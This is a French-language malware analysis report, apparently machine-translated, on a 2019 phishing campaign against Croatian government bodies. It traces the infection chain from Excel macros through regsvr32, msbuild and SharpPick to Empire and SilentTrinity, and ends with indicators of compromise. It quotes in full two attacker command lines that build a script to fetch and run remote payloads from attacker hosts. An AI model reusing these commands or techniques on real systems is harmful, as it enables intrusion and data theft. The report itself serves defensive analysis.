
Nos experts du centre de sécurité expert se tiennent toujours au courant et surveillent l'émergence de nouvelles menaces intéressantes et dangereuses. C'est ainsi que, début avril 2019, une attaque ciblée contre le gouvernement croate a été découverte. Ce rapport a examiné la chaîne de diffusion des logiciels malveillants sur l'ordinateur de la victime, a présenté des indicateurs de compromis et a noté l'utilisation d'un nouveau cadre post-opérationnel, qui, selon nos données, n'a jamais été utilisé par les attaquants.
Infection de la victime
Le 2 avril 2019, lors d'une surveillance de routine de diverses ressources pour de nouveaux logiciels malveillants, les experts de PT Expert Security Center ont découvert un document de bureau inhabituel.
Figure 1. Document malveillantLa notification d'envoi a été créée dans l'application MS Excel Office et enregistrée dans l'ancien format XLS un jour plus tôt (2019-04-01 16:28:07 (UTC)). Néanmoins, l'horodatage disponible sur la presse (2018-07-25 00:12:30 (UTC)) indique que le document a été utilisé en 2018. Nous reviendrons sur ce symptôme indirect ci-dessous.
Il est à noter que le champ Commentaires (qui peut être modifié, y compris à l'aide de l'application MS Excel) contient une commande dans le shell Windows:
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"): objShell.Run "net use https://postahr.vip", 0, False: Wscript.Sleep 10000: objShell.Run "regsvr32 /u /n /s /i:https://postahr.vip/page/1/update.sct scrobj.dll", 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
Figure 2. Le champ "Commentaires" avec un contenu suspect
Figure 3. Le contenu du champ Commentaires sous forme binaireÀ la suite de l'exécution de cette commande, le système crée un script dans le langage Visual Basic qui, une fois lancé, effectuera les actions suivantes:
- connecter une ressource réseau à l'aide de la technologie WebDAV,
- téléchargez et exécutez le fichier de la prochaine étape d'infection à l'aide de l'utilitaire système légitime regsvr32.
Lorsqu'une ressource réseau est connectée via HTTP (S), une requête NTLM est envoyée au serveur attaquant, avec laquelle le hachage NTLM peut être restauré. Ensuite, le hachage reçu peut être utilisé pour l'autorisation sur les services au nom de la victime. Nous n'avons trouvé aucune trace de telles attaques, et les raisons de la connexion d'une ressource réseau restent floues.
La technique d'utilisation de regsvr32 (gestion des contrôles ActiveX) à des fins malveillantes n'est pas nouvelle et a même un nom - Squiblydoo. Les attaquants l'utilisent pour se conformer aux exigences de contrôle du lancement de programmes de confiance, ainsi que pour contourner la détection antivirus.
En soi, le texte du champ Commentaires est inoffensif et son exécution doit être en quelque sorte conditionnée. Lorsque la victime ouvre le document Excel reçu, un message d'interruption en langue croate s'affiche qui vous indique d'inclure des macros:
Figure 4. Message d'interruption après l'ouverture d'un documentSi les macros sont autorisées, l'utilisateur verra une fausse notification de colis avec le logo postal croate:
Figure 5. Notification de faux paquetPendant ce temps, à l'aide des outils de macro, le script du champ Commentaires sera exécuté et le script créé dans le système sera ajouté au démarrage:
Figure 6. Macro logique cléCurieusement, le script en cours de création n'est pas déclenché par une macro. C'est peut-être l'intention de l'attaquant: la prochaine étape de l'infection se produira après un redémarrage du système et une connexion utilisateur. Nous reviendrons sur ce détail ci-dessous.
Une partie du scénario est intéressante à sa manière: une structure de code soignée avec formatage, indentation et autres nuances de balisage peut être un signe d'utilisation de code tiers et même un programme qui vous permet de créer automatiquement de tels documents.
Figure 7. Partie vraisemblablement empruntée de la macroLa recherche par mot-clé fournit de nombreux morceaux de code similaires sur différentes ressources. Nous sommes enclins à croire que le pirate a simplement trouvé le code de programme approprié et l'a légèrement modifié pour effectuer les actions dont il avait besoin:
Figure 8. Exemple d'une macro similaire sur issuu.com
Figure 9. Exemple d'une macro similaire sur stackoverflow.com
Figure 10. Exemple d'une macro similaire sur dummies.comRevenons à l'étape suivante de l'infection à l'aide de l'utilitaire regsvr32. Lorsque la commande est exécutée, le scriptlet update.sct en JavaScript sera téléchargé depuis le serveur de l'attaquant. Le corps du script contient des données binaires encodées par l'algorithme Base64. Après décodage, les données reçues seront désérialisées et exécutées à l'aide de la plate-forme logicielle .NET Framework.
Figure 11. Le script update.sct téléchargé depuis le serveur de l'attaquantIl est à noter que ce code a également été emprunté par l'attaquant sur l'une des ressources publiques:
Figure 12. Un exemple de code similaire sur rastamouse.me
Figure 13. Un exemple de code similaire sur github.comIl ne semble pas que le pirate ait soigneusement fouillé la logique des outils utilisés. Par exemple, dans le scriptlet considéré, la fonction setversion est appelée, ce qui ne fait rien. Un exemple disponible sur le Web semble également.
L'objet décompressé et lancé est un fichier PE exécutable sur la plate-forme .NET.
Figure 14. En-tête du fichier PE exécutable
Figure 15. Informations de débogage du fichier SharpPick PEÀ la suite de la compilation, le chemin d'accès au projet avec le code source a été conservé. Le suffixe -master indique que le projet a été précédemment cloné à partir du référentiel, et le répertoire SharpPick conduit à une application bien connue qui vous permet de télécharger et d'exécuter du code PowerShell sans utiliser directement l'interpréteur de langage, mais en utilisant les dépendances .NET.
Malgré la disponibilité du projet d'utilitaire SharpPick sur GitHub, vous devez vous assurer qu'aucun changement significatif n'a été apporté.
Figure 16. Partie du code utilitaire SharpPick décompiléÀ la suite de la décompilation, un pseudo-code a été obtenu, au cours duquel il est décodé à partir de Base64 et le script PowerShell est lancé:
Figure 17. Script PowerShell partiellement convertiAprès avoir simplifié le code, il n'est pas difficile d'analyser sa logique:
- un objet est formé pour interagir avec le serveur Web avec les paramètres d'agent utilisateur, de cookie et de proxy spécifiés;
- la charge utile est chargée à l'adresse spécifiée;
- le résultat est décrypté par l'algorithme RC4 à l'aide de la clé spécifiée et démarré.
Malheureusement, lors de nos recherches, le serveur de gestion était déjà indisponible. Les données qui ont été reçues de lui plus tôt, nous n'avons pas pu les trouver. Cependant, cette fois, il y a suffisamment d'informations sur le Web (exemple: rapport de nos collègues de
FireEye ) pour établir sans ambiguïté: le maillon final de cette chaîne d'infection est Empire backdoor, un outil pour l'administration à distance de l'ordinateur de la victime dans le cadre du cadre post-opérationnel d'Empire Framework.
Figure 18. Utilisation d'un script PowerShell similaire pour attaquer des vulnérabilités dans WinRARFait intéressant, d'autres modèles de script conduisent à un article complet sur les techniques de test de pénétration avec une attention particulière pour cacher l'infrastructure des attaquants derrière les serveurs proxy. La source d'informations la plus probable utilisée par l'attaquant est un article de collègues de Payatu Technologies, où ils
fournissent des instructions détaillées sur la redirection des sessions vers des ressources légitimes, le blocage des paquets indésirables, la journalisation, etc., y compris en utilisant Empire.
Quelques heures plus tard, nous avons trouvé un autre document sur le colis. Il présente de nombreuses similitudes avec le précédent: également trouvé en Croatie (2019-04-02 16:52:56 (UTC)), a le même nom et même une image piège sur le colis reçu. Mais il y a toujours des différences.
Le code malveillant se trouve à nouveau dans le champ Commentaires, mais cette fois la logique des actions a été modifiée.
cmd.exe /c echo Set objShell = CreateObject("Wscript.Shell"):objShell.Run "C:\windows\system32\cmd.exe /c net use \\176.105.255.59\webdav",0:Wscript.Sleep 60000: objShell.Run "%windir%\Microsoft.Net\Framework\v4.0.30319\msbuild.exe \\176.105.255.59\webdav\msbuild.xml" , 0, False: Set objShell = Nothing > C:\users\%username%\appdata\local\microsoft\silent.vbs
- La ressource réseau est connectée à l'aide du protocole SMB.
- Téléchargez et lancez la prochaine étape d'infection à l'aide de msbuild, un utilitaire légitime du package .NET Framework.
Il est intéressant de noter que la ligne webdav est présente dans l'adresse du répertoire monté, reliant indirectement ce cas au précédent. Cette fois, une attaque sur le hachage NTLM est toujours possible, bien qu'il n'y ait aucune preuve de son utilisation. Encore une fois, une application légitime (cette fois msbuild) est utilisée pour contourner avec succès la restriction sur le lancement de programmes tiers. Avant de décrire la technique de l'abus, nous mentionnons les différences dans le code de programme de la macro d'un nouveau document.
Les attaquants n'ont pas apporté de modifications importantes à la logique du script VBA. Mais il convient de noter que cette fois, ils fournissent non seulement le chargement automatique du script VBS créé dans le système, mais le lancent également à l'ouverture du document. Très probablement, dans le cas précédent, les attaquants l'ont simplement oublié, et après un certain temps, ayant découvert une erreur, ils l'ont corrigée dans la nouvelle version du document.
Figure 19. Comparaison du code macro dans deux documentsLa prochaine étape de l'infection est un document XML qui contient du code C #. Une fonctionnalité de l'utilitaire msbuild vous permet de compiler et d'exécuter le code contenu à la volée, comme en témoignent les commentaires laissés par le pirate au début du balisage.
Le tampon Base64 est à nouveau présenté dans le code, qui sera décodé, décompressé par l'algorithme Deflate et lancé. Nous pensons que le lecteur est déjà conscient que cette fois l'attaquant a également utilisé un modèle librement accessible, comme en témoignent les commentaires mentionnés et de nombreuses sources sur le Web avec le même code.
Figure 20. La tâche msbuild.xml téléchargée depuis le serveur attaquantPar conséquent, cette fois, un fichier PE sur la plate-forme .NET sera chargé et exécuté en mémoire. Et les informations de débogage contiennent non seulement un signe que le projet a été collecté sur une machine virtuelle (éventuellement pour cacher des informations sur l'attaquant), mais aussi le répertoire SILENTTRINITY, sur lequel nous nous attarderons plus en détail.
Figure 21. Informations de débogage du fichier SILENTTRINITY PEAprès avoir étudié ces deux documents de colis, nous en avons trouvé deux autres. Le format de fichier, le nom et l'image d'interruption avec la région spécifiée sont restés inchangés. Des documents étaient disponibles fin août 2018, ce qui confirme l'hypothèse de long terme de la campagne, dont nous parlions au début du rapport.
Il est curieux que l'an dernier, les pirates n'aient pas utilisé le champ "Commentaires", mais ils ont lancé des utilitaires légitimes. Le composant malveillant a été chargé à l'aide de l'utilitaire pour travailler avec des certificats et des opérations cryptographiques certutil, et le lancement a été fourni par les outils de gestion du système WMI:
Figure 22. Comparaison des macros de document 2018Malheureusement, après la limitation de ce qui s'est passé, nous n'avons pas pu établir les liens suivants dans la chaîne d'attaque de 2018.
Il convient également de noter qu'une partie du code du script VBA est restée inchangée, à l'exception des commentaires auxiliaires supprimés expliquant la logique du travail.
Figure 23. Comparaison des macros 2019 et 2018Cadre SilentTrinity
Les résultats de recherche du mot clé SILENTTRINITY à partir des informations de débogage du fichier PE peuvent facilement déterminer l'origine de ce lien d'attaque. En octobre 2018, Marcello Salvati (chercheur à Black Hills Information Security) a publié un projet appelé SILENTTRINITY sur le populaire référentiel GitHub. L'idée principale: utiliser la flexibilité et les avantages du framework PowerShell post-opérationnel bien connu dans le langage de programmation Python Python, à savoir IronPython. Le projet se développe à ce jour.
Nous ne nous attarderons pas sur les détails du travail et de la mise en œuvre du projet (d'autant plus que l'auteur en a parlé en détail dans son
rapport ). Nous ne soulignerons que la logique de base du travail et les points intéressants de la mise en œuvre.
Après avoir démarré le fichier PE (cependant, le lien intermédiaire peut être dans un format différent), les événements suivants se produisent:
- accès au serveur de gestion pour télécharger l'archive ZIP avec les dépendances nécessaires et le script Python principal;
- le contenu des archives est extrait sans être enregistré sur le disque;
- les dépendances sont enregistrées pour un traitement réussi des scripts Python;
- Le script Python principal est lancé, attendant la tâche de l'attaquant;
- chaque tâche est transférée en tant que script Python prêt à l'emploi;
- la tâche est effectuée du côté de la victime dans un fil distinct;
- le résultat du travail est retransféré au serveur de gestion.
Figure 24. Diagramme de fonctionnement du framework SilentTrinityParmi les fonctionnalités, il convient de souligner les suivantes:
- Prise en charge d'IronPython, y compris le langage Boo (un sous-ensemble d'IronPython avec un fort typage des données).
- Toute activité ne nécessite pas d'espace disque: les dépendances, les scripts, les tâches sont situés en mémoire (attaque sans fichier).
- Archive avec dépendances, tâches, résultat du travail des équipes - toute communication entre la victime et le pirate est cryptée avec l'algorithme AES.
- La clé partagée est générée par le protocole Diffie-Hellman.
- Le transport réseau est fourni au niveau du protocole HTTP (S) avec prise en charge proxy.
Figure 25. Exemple d'interface utilisateur côté serveur du framework SilentTrinityFait intéressant, le jour des attaques, le chargeur PE a été téléchargé sur le service VirusTotal, où aucun fournisseur d'antivirus ne l'a identifié comme malveillant. Cela n'est pas surprenant: premièrement, le fichier binaire ne parvient pas au disque et la détection de signature n'a pas beaucoup de sens; d'autre part, la détection statique est loin d'être la seule technologie de protection des utilisateurs.
Figure 26. Résultat de l'analyse du chargeur de démarrage SilentTrinity le jour de l'attaqueDe plus, quelques jours après l'attaque, des verdicts de détection ont commencé à apparaître. Il est important que pendant la période des attaques, soit l'équipement de protection n'était pas encore équipé d'algorithmes de détection, soit la menace n'était pas connue en principe.
Figure 27. Résultat d'analyse en cours du chargeur de démarrage SilentTrinityC'est probablement la raison pour laquelle cette solution a été choisie pour mener des attaques. Nous n'avons aucune information selon laquelle le framework SilentTrinity a déjà été utilisé dans des attaques malveillantes auparavant.
Infrastructure utilisée par les attaquants
Il convient de mentionner que l'infrastructure réseau utilisée par les pirates est chronologiquement liée aux attaques en cours.
Tableau 1. Informations sur les domaines utilisés comme serveurs attaquants
Les domaines ont été créés de manière à ressembler à des ressources attaquées légitimes. Cela permet aux utilisateurs de gagner la confiance dans les attaques de phishing. Notez que les ressources impliquées ne sont pas limitées à la Croatie.
Tous les domaines sont enregistrés à l'aide de la technologie de sécurité WhoisGuard. Il vous permet de masquer les vraies informations sur le titulaire du domaine afin de se protéger contre le spam, tandis que les attaquants utilisent cette technologie pour l'anonymisation.
Des serveurs distribuant et gérant des logiciels malveillants ont été loués auprès du fournisseur néerlandais Breezle.
Toutes les informations disponibles sur les nœuds, les adresses et les domaines des attaquants avec beaucoup de connexions entre eux nous permettent de juger des volumes importants de logiciels malveillants que les attaquants avaient cette fois. Nous n'excluons pas que, dans la campagne, des outils similaires à ceux envisagés puissent être utilisés et certains cas d'infection restent non résolus.
Figure 28. Représentation graphique de l'infrastructure d'un attaquantConclusion
Un jour après la découverte des documents dans les
nouvelles , un communiqué de presse a été publié avec un
lien vers le Département croate de la sécurité des systèmes d'information concernant des attaques de phishing ciblées. Des traces ont été trouvées dans plusieurs organes gouvernementaux du pays. Il est signalé que des e-mails ont été envoyés aux victimes avec un lien vers un site de phishing à partir duquel il a été proposé de télécharger un document malveillant à partir duquel notre analyse a commencé. Cela remplit les maillons manquants dans la chaîne d'attaque, et à la fin nous aimerions prêter attention aux méthodes de protection qui peuvent réduire les dommages causés par de telles attaques:
- Surveillance et contrôle de l'utilisation de certains programmes de confiance (certutil, regsvr32, msbuild, net, wmic ...)
- Vérifier et analyser non seulement les pièces jointes dans les e-mails, mais également les liens Web
- Analyses périodiques de la mémoire PC sur un réseau d'entreprise
- Les connexions réussies à la C2 Silent Trinity (même sous TLS) peuvent être détectées à l'aide de PT Network Attack Discovery . De plus, dans notre référentiel, nous avons publié des détections pour la communauté.
Publié par Alexey Vishnyakov, Positive Technologies
PS Sur ce sujet, l'auteur a également lu un rapport lors des Positive Hack Days 9. La vidéo de cette présentation et d'autres est disponible sur:
www.phdays.com/en/broadcast/ .
Indicateurs de compromis:0adb7204ce6bde667c5abd31e4dea164
13db33c83ee680e0a3b454228462e73f
78184cd55d192cdf6272527c62d2ff89
79e72899af1e50c18189340e4a1e46e0
831b08d0c650c8ae9ab8b4a10a199192
92530d1b546ddf2f0966bbe10771521f
c84b7c871bfcd346b3246364140cd60f
hxxps: //postahr.vip/page/1/update.sct
hxxps: //posteitaliane.live/owa/mail/archive.srf
hxxps: //konzum.win/bat3.txt
hxxp: //198.46.182.158/bat3.txt
hxxps: //176.105.255.59: 8089
[\\] 176.105.255.59 \ webdav \ msbuild.xml
postahr.online
176.105.254.52
93.170.105.32